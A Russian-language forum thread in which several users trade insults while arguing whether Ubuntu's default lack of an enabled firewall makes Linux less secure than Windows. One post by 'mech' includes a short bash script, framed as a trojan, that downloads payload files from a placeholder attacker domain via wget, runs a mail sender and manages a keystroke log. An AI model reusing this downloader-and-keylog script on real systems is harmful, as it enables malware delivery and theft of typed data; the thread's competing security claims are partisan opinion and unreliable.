Она вышла...

[Diozan]

Мда...Это какие же настройки сетевой безопасности у той же убунты? Вы хоть в своём уме? У неё даже файрволл не включен по дефолту. В плане безопасности линукс ровно такой же, что и windows для обыкновенного пользователя. И для продвинутого всё абсолютно так же.

Опять образ мысли пользователя Винды. Перед включением, файрволл настраивать надо под свои задачи. И только после этого включать. Иначе без настройки, без созданных правил, он полностью перекроет доступ в сеть, ну или полностью откроет, в зависимости от политики по умолчанию.

Веришь ли, даже в Gentoo и FreeBSD он не включён по умолчанию, более того, даже не установлен.

У Винды файрволл вообще не фильтрует исходящие запросы и, поэтому, его можно включить сразу же, дыра наружу распахнута, и пользователь, естественно, этим удовлетворён, и понятия не имеет, что ещё что-то надо настроить. А если какая-то программа попытается открыть порт на прослушку входящего соединения, так система вопрос пользователю выдаст - разрешить? Что ответит рядовой пользователь в 99,9% случаев?

[Watchman]

Это типичная исповедь человека, который взялся за дело, не изучив сущности вопроса.

Про какой вопрос речь? Вы же даже не понимаете о чём разговор, но уже делаете выводы. Это показывает уровень вашего интеллекта.

Какие проблемы у Линукса с вай-фаем?

Большие. На мой ноутбук искали драйвера двумя управлениями, плюс друзья. Не нашли.
А там сидели люди явно разбирающиеся в Линуксе лучше чем вы, судя по написанному.
Судя по всемы вы - адепт Линукса, а не специалист. Специалист - он смотрит со всех сторон, видет плюсы и минусы. Вы же видете только плюсы, а когда заходит речь про минусы - закрываете глаза и уши и говорите бе-бе-бе.

Какое, нахрен, администрирование Линукса, может проводить так называемый "Администратор", который размер шрифтов в приложении не может выставить и закрепить их в качестве умолчательных? Что бы грамотно скомпилировать ядро, нужно, как минимум, разбираться в архитектуре процессоров администрируемых систем, знать перечень всего аппаратного обеспечения серверов на уровне чипов и используемых микропрограмм для их управления, всех используемых системных фич.

Простите, это вы мне? Зачем вы мне пишете то, про что я не писал и то, что мне совсем не интересно? Или вы решили посередине ответа мне поделиться наболевшим?

Так что выступая в качестве "инициатора эксперимента", правомерно ставить вопрос, а за своё дело ли Вы взялись? Какими процедурами, кроме использования готовых сборок ядра, подготовленных неизвестно кем, и набора примитивных графических костылей утилит, Вы овладели?

Забавно наблюдать когда человек додумывает что-то в удобном ему направлении. Как витиевато он строит выводы на основании нехватки информации, лишь бы защитить то, что ему дорого. Человек не задаёт уточняющие вопросы, а просто и без затей придумывает то, что ему хочетсятам, где не знает.
Отвечаю на первый вопрос: да, за своё.
Отвечаю на второй вопрос: с чего вы решили, что этим буду занят лично я?

Просто прочитайте что было написано выше, отбросив свои предрассудки и линуксовое мракобесие, внимательно прочитайте. Тогда, возможно, многое станет понятно, что задача делается группой людей для узкой группы людей.

Понятно, что для уборщицы, которая всю жизнь подметала полы веничком, собирая мусор в совочек, современный пылесос или полотер станет источником головной боли и "ощущения приближающегося гемороя". А сам агрегат, кроме бестолковости, громоздкости и неудобством управления, никаких других ощущений вызывать не будет. Ведь ей так хорошо было... веничком и совочком.

Опять вы о каких-то своих личных душевных травмах. Извините, но они мне далеки, я не смогу помочь.

[Diozan]

Большие. На мой ноутбук искали драйвера двумя управлениями, плюс друзья. Не нашли.

В конфиг ядра они заглядывали? Это вопрос, если что... Что за ноут, можно узнать?

Простите, это вы мне? Зачем вы мне пишете то, про что я не писал и то, что мне совсем не интересно?

Здесь не диалог. Здесь много народу отписывается. И реакция идёт на все посты.

Судя по всемы вы - адепт Линукса, а не специалист. Специалист - он смотрит со всех сторон, видет плюсы и минусы. Вы же видете только плюсы, а когда заходит речь про минусы - закрываете глаза и уши и говорите бе-бе-бе.

Далеко не адепт. Более того, я даже не сторонник популяризации Линукса и проталкивания его в массы как операционной системы для компов, ибо считаю, что данная система подходит только для определённого, весьма узкого круга специалистов и как система для встраивания в конкретные, узкоспециализированные устройства. А разнообразные сборки, которых, как правильно замечено "over 8000", только вносят путаницу, разброд и шатание. IMHO, не умеешь поставить чистый Линукс с нуля, не используя разнообразных костылей и протезов, ну и нечего на Линуксе делать. Ибо благодаря стараниям различных сборщиков, коих "over 8000", практически все дистрибутивы Линуксов уже давно превратились в наборы костылей и протезов для его конфигурирования. А минусы и плюсы мне, в большинстве своём, известны. Почему такая реакция на минусы? А как можно реагировать на заявление о том, что Линукс это дыра только потому, что там файрволл по умолчанию не включён? Зачем его включать, если потребность в нём не определена. Он что, всем нужен? В какой конфигурации? Я, может быть, за внешним файрволлом сижу.
Да и, кроме того, в Убунте все модули ядра, отвечающие за фильтрацию пакетов установлены и включены по умолчанию. Но без конфига они не задействованы и служба соответствующая, поэтому, не запущена. Если мне надо, я пишу конфиг и ставлю автозагрузку службы, если не надо, то не делаю этого. Можно на Ваш конфиг файрвола для Убунты посмотреть? Надо понимать, что линукс это не "такой Windows". В Windows, по умолчанию включенный файрволл, даже пинги режет. Это так и должно быть? А как, при этом, админу доступность компа в сети смотреть?
Как можно смотреть на такую сборку, например, как Альт Линукс. В школьную сборку для рабочих станций они умудрились работающий DNS сервер (BIND) воткнуть. Ну решили они, что никак школьное рабочее место без него обойтись не может. Мне-то что до этого? Вот только глядя на такие дистрибутивы, становится обидно за хорошую систему. А, самое главное, такие системы формируют человеческое мнение о ней.

[mech]

Опять образ мысли пользователя Винды. Перед включением, файрволл настраивать надо под свои задачи. И только после этого включать. Иначе без настройки, без созданных правил, он полностью перекроет доступ в сеть, ну или полностью откроет, в зависимости от политики по умолчанию.

Веришь ли, даже в Gentoo и FreeBSD он не включён по умолчанию, более того, даже не установлен.

У Винды файрволл вообще не фильтрует исходящие запросы и, поэтому, его можно включить сразу же, дыра наружу распахнута, и пользователь, естественно, этим удовлетворён, и понятия не имеет, что ещё что-то надо настроить. А если какая-то программа попытается открыть порт на прослушку входящего соединения, так система вопрос пользователю выдаст - разрешить? Что ответит рядовой пользователь в 99,9% случаев?

Так у недоосей даже файера нет, по умолчанию, после установки!!!  О чём  вы тут с радостью нам и сообщаете. Что вы тут горбатого то лепите про безопасность?

[Diozan]

Так у недоосей даже файера нет, по умолчанию, после установки!!!  О чём  вы тут с радостью нам и сообщаете. Что вы тут горбатого то лепите про безопасность?

Ещё один...

[mech]

В Windows, по умолчанию включенный файрволл, даже пинги режет. Это так и должно быть? А как, при этом, админу доступность компа в сети смотреть?

А почему бы и нет? Админ, если ему надо, сделает так как ему надо. Не в недоосях чай.

[mech]

Ещё один...

Факт остаётся фактом. Что вы собственно и признали. По дефолту та же убунта, голая, без файера. Который ещё и замучишься, без курения манов и шамания с скриптами включать. А всякие firestarter`ы, которые кстати уже лет надцать не обновлялись, ещё и не на каждой недооси запустятся.

[FroX]

Так у недоосей даже файера нет, по умолчанию, после установки!!! 

ога, как и антивируса
по факту файрвол всегда есть и всегда установлен (кроме особо экзотических случаев) - ибо оно есть составная часть ядра. не установлено может быть ПО для его настройки - iptables и всякие графические интерфейсы для него, ибо по-умолчанию все-равно allow all. а кому сильно надо - полюбому будут настраивать под себя, и установка ПО в linux вобще не проблема, проще винды на порядок

По дефолту та же убунта, голая, без файера.

школота такая школота...
че ты с ней сделаешь то, даже с с голой? расскажи нам пожалста, кулхацкер ты наш

[Diozan]

Факт остаётся фактом. Что вы собственно и признали. По дефолту та же убунта, голая, без файера. Который ещё и замучишься, без курения манов и шамания с скриптами включать. А всякие firestarter`ы, которые кстати уже лет надцать не обновлялись, ещё и не на каждой недооси запустятся.

Перечитай 137-пост. Именно про это я и пишу. Настраивать надо и включать.

В винде файрвол есть? Вроде бы как есть. Настроен? Вроде бы как настроен. Как настроен? На исходящие запросы никак не настроен, ибо полностью открыт, т.е. на самом деле нет его в этом направлении. Причём вообще нет, ибо эта фича в Винде совершенно не настраиваемая. Какая угодно программа может обмениваться с кем угодно и по какому угодно порту, если инициатором соединения является она (читай, все спам-машины, почтовые черви, DDOS генераторы и прочие рассыльщики заразы).
На прослушивание входящих соединений, правила открываются по мере включения соответствующих служб и установки программ, причём, по умолчанию, если пользователь разрешил программе соединения, то порт открывается для всех, т.е. тоже ничего толком не фильтрует. Остальные входящие порты, которые явно не открыты фильтрует. Зачем, если их никто не слушает? Фиг его знает, зачем ставить замок на дверь, которой нет. Только для того, что бы на SYN пакет ответить гордым молчанием? (по RFC, запрос на соединение по закрытому порту должен сопровождается откликом "порт не доступен", но Майкрософту ведь пофиг всякие там RFC?).
Вот и вопрос, а от чего в винде защищает файрвол? От пингов администратора?


Рис.1 Включённый чудо файрволл Винды защитил мой компьютер (настройка по умолчанию)

[mech]

че ты с ней сделаешь то, даже с с голой? расскажи нам пожалста, кулхацкер ты наш

Да пжалста. Простейший примитив, скачает недостающий фукционал трояну и сольёт логи клавиш с убунты кулхацкирю. А линукс, в лице убунты щироко раздвинет ноги и будет сосать с причмокиванием. Молча.

Код:

#!/bin/bash

logger=`ps -A|grep logger.hack|wc -l`
if [[ "$logger" -ge "1" ]] ; then
    //logger -k
fi
wget -q -t 1 -N -nd http://хацкирь.рф/conf -P //
wget -q -t 1 -N -nd http://хацкирь.рф/spam -P //
wget -q -t 1 -N -nd http://хацкирь.рф/engine -P //

//./mailsend

size=`du -b //logger.hack | awk '{print $1}'`
if [[ "$size" -ge "8192" ]] ; then
    rm -f //logger.hack
fi

//logger -s -o //logger.hack

[mech]

Перечитай 137-пост. Именно про это я и пишу. Настраивать надо и включать.

В винде файрвол есть? Вроде бы как есть. Настроен? Вроде бы как настроен. Как настроен? На исходящие запросы никак не настроен, ибо полностью открыт, т.е. на самом деле нет его в этом направлении. Причём вообще нет, ибо эта фича в Винде совершенно не настраиваемая. Какая угодно программа может обмениваться с кем угодно и по какому угодно порту, если инициатором соединения является она (читай, все спам-машины, почтовые черви, DDOS генераторы и прочие рассыльщики заразы).
На прослушивание входящих соединений, правила открываются по мере включения соответствующих служб и установки программ, причём, по умолчанию, если пользователь разрешил программе соединения, то порт открывается для всех (зависит только от уровня доверия к сети, которая у, практически всех, домашняя, т.е. доверяю всем), т.е. тоже ничего толком не фильтрует.

По крайней мере софт просящийся наружу будет тупо остановлен. Юзер предупреждён. Убунте пох.

[mech]

Рис.1 Включённый чудо файрволл Винды защитил мой компьютер (настройка по умолчанию)

Линуксоиды до сих пор пользуются софтом 2001 года? Впрочем, о чём я говорю...Не прошло и 20 лет.

[Diozan]

По крайней мере софт просящийся наружу будет тупо остановлен. Юзер предупреждён. Убунте пох.

Ну это вообще.... Нет слов...

....На исходящие запросы никак не настроен, ибо полностью открыт, т.е. на самом деле нет его в этом направлении. Причём вообще нет, ибо эта фича в Винде совершенно не настраиваемая. Какая угодно программа может обмениваться с кем угодно и по какому угодно порту, если инициатором соединения является она (читай, все спам-машины, почтовые черви, DDOS генераторы и прочие рассыльщики заразы).

Виндовый файрволл фильтрует только входящие соединения!!!!!! Исходящие ему пофиг!!!!!

[mech]

Ну это вообще.... Нет слов...

Именно так, поскольку вы просто тупо не знаете как работает файрволл в windows, не говоря про софт сторонних разработчиков. А убунта вообще ничего не делает, с другими недоосями. Она тупо ложится и раздвигает ноги, когда её имеет примитивный скрипт.

[Diozan]

Линуксоиды до сих пор пользуются софтом 2001 года? Впрочем, о чём я говорю...Не прошло и 20 лет.

С обновлениями ноября 2012года. Так, уточню, на всякий случай. В 7-ке и 8-ке иначе?